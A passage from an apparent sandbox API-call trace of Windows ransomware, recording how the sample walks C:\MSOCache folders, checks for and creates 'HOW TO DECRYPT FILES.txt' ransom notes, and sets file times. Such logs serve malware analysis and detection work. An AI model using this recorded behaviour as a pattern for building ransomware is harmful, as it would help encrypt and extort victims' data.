ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0057.877] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.877] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned="ProPlusrWW.xml" [0057.877] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.877] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.877] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.877] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.877] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="ProPrWW.cab" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" [0057.877] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0057.877] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.878] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned="ProPrWW.cab" [0057.878] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.878] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.878] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.878] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.878] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="ProPrWW2.cab" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" [0057.878] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x780074, dwReserved1=0x74, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0057.878] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.878] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned="ProPrWW2.cab" [0057.878] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.878] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.878] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.878] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.878] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="setup.exe" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" [0057.879] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.879] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.879] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned="setup.exe" [0057.879] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0057.879] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="" [0057.879] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.879] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.879] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" [0057.879] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.879] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.879] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0057.879] lstrcmpA (lpString1=".", lpString2="{91140000-003B-0000-1000-0000000FF1CE}-C") returned -1 [0057.879] lstrcmpA (lpString1="..", lpString2="{91140000-003B-0000-1000-0000000FF1CE}-C") returned -1 [0057.879] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.879] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{91140000-003B-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" [0057.880] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.883] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.884] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.884] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.884] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.884] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0057.884] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.884] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.884] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.884] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.884] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.884] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.884] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.886] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.886] CloseHandle (hObject=0x88) returned 1 [0057.887] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="Office32WW.msi" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" [0057.887] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0057.887] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.887] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned="Office32WW.msi" [0057.887] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.887] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.887] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.887] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.887] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="Office32WW.xml" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" [0057.887] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0057.887] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.887] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned="Office32WW.xml" [0057.887] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.888] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.888] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.888] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.888] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="ose.exe" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" [0057.888] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x780074, dwReserved1=0x74, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0057.888] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.888] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned="ose.exe" [0057.888] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.888] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.888] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.888] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.908] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="osetup.dll" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" [0057.908] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0057.909] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.909] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned="osetup.dll" [0057.909] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.909] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="" [0057.909] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.909] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.909] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="OWOW32WW.cab" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" [0057.909] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0057.909] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.909] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned="OWOW32WW.cab" [0057.909] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0057.910] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All 